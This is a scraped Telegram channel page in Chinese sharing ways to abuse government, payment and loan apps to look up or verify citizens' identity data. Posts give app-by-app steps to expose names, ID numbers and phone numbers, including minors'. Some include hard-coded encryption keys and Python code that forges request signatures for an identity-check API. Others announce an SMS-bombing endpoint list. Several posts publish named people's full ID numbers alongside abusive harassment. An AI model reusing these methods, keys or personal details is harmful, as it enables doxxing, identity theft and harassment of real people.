i分享『软件分享/脚本分享/漏洞分享』
33.1K subscribers
203 photos
19 videos
286 files
494 links
本频道为技术分享频道 ,频道中投稿分享的所有漏洞请涉事官方尽快修复!避免不法分子滥用造成危害。

漏洞信息披露、安全预警、技术研究、漏洞分析、风险通报

@pyifenx 防丢失频道。

🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳
Download Telegram
小程序漯河直聘-前面简介一堆随便填-接码登录-我的主页-我要实名
曹泥马了个逼的刘彻家里两位是是不是上吊自杀了 仙家军永远是你高攀不起的存在


——热心网友
📮 投稿通道 ☘️ 交流群组
❤1👍1
APP掌上校园
APP支付宝-支小蜜校园-中小学
应该是全国 并且没有时间限制 可核未成年 大神可以自己挖 感觉小概率爆出全国头 灵感来自于学校食堂
还有刘彻死爹烂妈智障穷吹技术炉火纯青乃巅峰扣字之神
罗芃旭 411103201102220139


——热心网友
📮 投稿通道 ☘️ 交流群组
❤2👍2
广东政务服务平台-账密登录-几十次验证-个人办事-人才落户-随便提交,有防注入但是waf还是有影响,-提交以后返回个人主页我的办事出明文三要(全程不需要人脸,账密即可,三五十次核验机会好像,越权没试过不知道)

——@guiling3
📮 投稿通道 ☘️ 交流群组
👍2❤1
婚姻状态
广东公租房 政务网

选肇庆还是汕尾来着
添加家人
带登记日期的

——热心网友
📮 投稿通道 ☘️ 交流群组
🤣4👍1
xhapi.php
8.6 KB
支付宝千线二要素源码 自行改为GO语言即可 支付宝官方一直不修复 所以直接放出来玩  需要有企业支付宝账号 接口申请在 支付宝商家平台-产品中心-全部产品-资金产品-商家转账 开通即可
证书在 支付宝开放平台-创建网页应用-加密方式选择证书 然后提交审核即可 证书审核过了就能用了 跑的多证书基本一天一死 所以建议多创建几个证书备用


----归零

林玖 乌龙茶 加百列
我操你们妈

——@guiling3
📮 投稿通道 ☘️ 交流群组
❤5👏5🤣5
你开我户也没意义,只能开一张从小丑到大的证件大头照。我的户籍是偏远的农村,你就算寄蟑螂牛卵花圈给我,也只能放在9公里外的镇上驿站。你想来线下真实我,我这里四面环山,你要坐飞机然后转高铁再转长途巴士再打车再找摩托,你要早点哦,因为5点之后就没有客车了。你去大队里报我名字也问不到,得报我爷小名,一进村发现村里人还听不懂普通话,来的时候还得小心点别被当成偷狗的。最后步行才能找到家,到了你还得给牛栓棚里,村里老光棍多,被拐了我还救你。
1🤣30👍7❤5🤡1
🇨🇳 庆祝中华人民共和国成立77周年

今天!我们迎来中华人民共和国成立77周年。金秋十月,山河同庆;举国上下,共贺华诞。值此国庆佳节,衷心祝愿伟大祖国生日快乐、繁荣昌盛、国泰民安!祝大家国庆快乐、阖家幸福、万事顺遂!

🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤3🤣1🖕1
276个短信轰炸接口完整请求.json
269.5 KB
这个黑客很懒,没有留下任何说明……

——@SGS520
📮 投稿通道 ☘️ 交流群组
👍1👎1
微信小程序 你我贷借钱 贷款2要素和脱敏手机号
密钥1(AES):
fb16d910adccec07
密钥2(SK):
C09F1B5E145C42B9A951B20D2918E09C
AES加密:
AES-128-ECB
PKCS7
Base64输出
加密字段: realName / idCardNo / idenAddress
sign-data签名:
sign = MD5( token + path + ["?"+query] + bodyPart + SK ).upper()
bodyPart:
dict → json紧凑格式(无空格)
str → "str"(两侧双引号)
null → 空串

——@xddsnmb
📮 投稿通道 ☘️ 交流群组
❤2
#小程序://i西安城市生活服务/I西安/wnqPDtOdjeqmu8A
无限制二要素
sign生成逻辑如下
current_timestamp = str(int(time.time() * 1000)) # 13位毫秒时间戳
body = f'[{{"_requestBody":{{"certType":"1","realName":"{name}","certNo":"{idcard}"}}}}]'
request_data = base64.b64encode(body.encode('utf-8')).decode()
full_string = f"99f19ae140a2633e550410f82906987b&Operation-Type=app.ixa.uc.alipay.cloudTwoMetaCheck.h5&Request-Data={request_data}&Ts={current_timestamp}"
signature = hashlib.md5(full_string.encode('utf-8')).hexdigest()
return current_timestamp, signature
此外里面还有其他有趣的东西 可自行发掘

——@sbquangou
📮 投稿通道 ☘️ 交流群组
🤡2
概率V2有限制核验口 需要用户关注微信支付商家助手公众号
https://pay.weixin.qq.com/index.php/extend/staff_account

员工管理 - 新增员工账号 - 输入姓名和微信号即可核验

{
"errorcode": -124,
"msg": "微信用户没有关注公众号",
"data": {
"nickname": "政",
"portrait_url": "http://wx.qlogo.cn/mmhead/16OvUZfwjeQGo45UeN5TviaOJqnN4cYRrYa4hyIibpQ7K2qJiaJvBpPx6ndlhczGwSe9W3WSMCYv4E/64/0"
}
}

{
"errorcode": -126,
"msg": "实名不一致 <div class='tips-info'>员工微信号实名姓名与所填员工姓名不一致,请向员工核实后填入真实姓名</div>",
"data": {
"nickname": "东东咚",
"portrait_url": "http://wx.qlogo.cn/mmhead/pgS37nibshT8r7Oic9LPtx7NfMBowOl4CCfY6k3DTgo68/64/0"
}
}

——@imgodgun
📮 投稿通道 ☘️ 交流群组
❤5
人口信息二要素.py
2.2 KB
这个黑客很懒,没有留下任何说明……

——@nxjd136
📮 投稿通道 ☘️ 交流群组
国庆快乐!
├活动类型: 通用抽奖
├满人开奖: 101人
├参与关键词: i分享与国同庆,祝祖国繁荣昌盛!
├强制关注频道(群组):
i交流
i分享『供需频道』
├奖品列表:
├ 假地址 x 10

[如何参与?]在群组中回复关键词『i分享与国同庆,祝祖国繁荣昌盛!』参与活动。
💩12
发 姓名 身份证
👍3
评论区发送许愿,说清楚 许愿什么?有什么信息,北落看到随机抽几个满足许愿,同时各位查档圈的大佬们也可以满足他们的许愿哦!

比如:
许愿假地址
张三 110101199901011234
❤2
华为应用商店-随时借app-接码登录-银行卡-填写
华为应用商店-急心借app-接码登录-银行卡-填写
华为应用商店-省呗app 可挖电话短信口 申请额度一个月多次境外电话 重复发送短信
蒙速办小程序-疫苗接种-绑定就诊卡不要扫脸 填写要素-里面有一个按钮需要发送短信忘是哪个了-可以看到内蒙古模糊常用未成年出家长电话 成年直出模糊常用 这里也能核验二要素
华为应用商店-便荔卡包-激活额度-身份证上传用加工机器人做一个正反-填写三要素 不过这里是银行预留的电话 核验的是银行预留的三要素
贾芳芳 410522198310185521
李可欣❤️贾芳芳 河南人马上被祸害 爹妈死绝了


——热心网友
📮 投稿通道 ☘️ 交流群组
❤4
湘易办3.0.0版本找回账号-点我的证件

如果湘易办显示“公安未注册”在浏览器湖南公安手动注册账号 再去湘易办点我的证件就能出神父

湖南公安网址: https://fwpt.hnga.gov.cn/#/index

包名:https://xyb.zwfw.hunan.gov.cn/gateway3/faceidapi/sdk/sdkauth
响应:JqEDA443cQ3qTbUfnS4ls8hFM365EGQztIE0wb+lDfKflPJtigIEksjhz7c97F6FYkB1Dof6l4XKoapCD14xJGb/bW57zc9c9pV6XTcFM6/9bqGGveC6D53acxeqBHzkyxJyqLeBUQwFUMICxyZuytIR7MTvBSRKbdMIjoiDAL4=

os:加白列你妈死了

——热心网友
📮 投稿通道 ☘️ 交流群组
❤10👎6😭4👍2🤣1